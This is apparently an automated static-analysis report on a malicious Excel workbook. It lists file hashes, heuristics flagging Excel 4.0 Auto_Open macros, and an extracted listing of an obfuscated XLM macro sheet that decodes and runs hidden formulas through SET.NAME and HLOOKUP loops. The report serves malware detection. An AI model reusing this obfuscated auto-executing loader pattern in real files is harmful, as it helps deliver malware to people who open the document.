Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6579d07d07ec2a90…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:46:14 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 7cee5848d363cd5aa13110e95c06cf28 SHA-1: a468515db3e8a2788f67e5eda665a6250b9d93ec SHA-256: 6579d07d07ec2a90cac07b9077b2288494d5fe4a52f7c4ffdff4aa997c71d93a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6764 bytes
SHA-256: dbfd8db97d62cddff75a4e668b576099d5c4bf1ca1c9f18321c78fb407fcab4c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  dACGxSY
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B181 
' 0018     24 LABEL : Cell Value, String Constant - BaLdizfDm len=0 
' 0018     22 LABEL : Cell Value, String Constant - FBIiYjm len=0 
' 0018     20 LABEL : Cell Value, String Constant - fTVmM len=0 
' 0018     23 LABEL : Cell Value, String Constant - GaNGxliz len=0 
' 0018     22 LABEL : Cell Value, String Constant - hvUCvXT len=0 
' 0018     20 LABEL : Cell Value, String Constant - isuGi len=0 
' 0018     27 LABEL : Cell Value, String Constant - KEDdgLcwyrrR len=0 
' 0018     25 LABEL : Cell Value, String Constant - LdkSJAbhlg len=0 
' 0018     22 LABEL : Cell Value, String Constant - nOHfiJl len=0 
' 0018     22 LABEL : Cell Value, String Constant - NzHNBsV len=0 
' 0018     24 LABEL : Cell Value, String Constant - PlDOtuweH len=0 
' 0018     24 LABEL : Cell Value, String Constant - PzRgRPJau len=0 
' 0018     27 LABEL : Cell Value, String Constant - sXncDhmHYwMi len=0 
' 0018     20 LABEL : Cell Value, String Constant - ufwLk len=0 
' 0018     21 LABEL : Cell Value, String Constant - UZXNLF len=0 
' 0018     22 LABEL : Cell Value, String Constant - XELrhDy len=0 
' 0018     24 LABEL : Cell Value, String Constant - XTcxgmvon len=0 
' 0018     26 LABEL : Cell Value, String Constant - YAtOCwnpffQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - YqsUiXy len=0 
' 0018     26 LABEL : Cell Value, String Constant - zKgPdhQQNcH len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  dACGxSY,R80,"",798.00000000000000000000
'  dACGxSY,R81,"",957.00000000000000000000
'  dACGxSY,R82,"",458.00000000000000000000
'  dACGxSY,R83,"",-34.00000000000000000000
'  dACGxSY,R84,"",152.00000000000000000000
'  dACGxSY,R85,"",-553.00000000000000000000
'  dACGxSY,B86,"SET.NAME("zKgPdhQQNcH",0+VALUE("0"))",""
'  dACGxSY,B91,"SET.NAME("XELrhDy",zKgPdhQQNcH)",""
'  dACGxSY,B96,"SET.NAME("sXncDhmHYwMi",zKgPdhQQNcH)",""
'  dACGxSY,B100,"SET.NAME("BaLdizfDm",COUNTA(KEDdgLcwyrrR))",""
'  dACGxSY,B103,"SET.NAME("XTcxgmvon",COUNTA(ufwLk))",""
'  dACGxSY,B108,[],""
'  dACGxSY,B111,"SET.NAME("nOHfiJl","")",""
'  dACGxSY,B115,"XELrhDy",""
'  dACGxSY,B117,"SET.NAME("isuGi",HLOOKUP("*",KEDdgLcwyrrR,XELrhDy,FALSE))",""
'  dACGxSY,B119,"UZXNLF",""
'  dACGxSY,B124,"SET.NAME("NzHNBsV",zKgPdhQQNcH)",""
'  dACGxSY,B129,[],""
'  dACGxSY,B132,"NzHNBsV",""
'  dACGxSY,B137,"LdkSJAbhlg",""
'  dACGxSY,B139,"PlDOtuweH",""
'  dACGxSY,B141,"hvUCvXT",""
'  dACGxSY,B145,"SET.NAME("fTVmM",VALUE(HLOOKUP("*",ufwLk,hvUCvXT,FALSE)))",""
'  dACGxSY,B147,"YqsUiXy",""
'  dACGxSY,B151,"nOHfiJl",""
'  dACGxSY,B156,"sXncDhmHYwMi",""
'  dACGxSY,B160,NEXT(),""
'  dACGxSY,B165,"FBIiYjm",""
'  dACGxSY,B169,[],""
'  dACGxSY,B172,"GaNGxliz",""
'  dACGxSY,B174,NEXT(),""
'  dACGxSY,B176,RETURN(),""
'  dACGxSY,B202,"SET.NAME("YAtOCwnpffQ",B86)",""
'  dACGxSY,B206,"KEDdgLcwyrrR",""
'  dACGxSY,B208,"SET.NAME("ufwLk",R62C12)",""
'  dACGxSY,B212,"SET.NAME("GaNGxliz",221)",""
'  dACGxSY,B216,"SET.NAME("PzRgRPJau",2)",""
'  dACGxSY,B220,YAtOCwnpffQ(),""
'  dACGxSY,B221,HALT(),""

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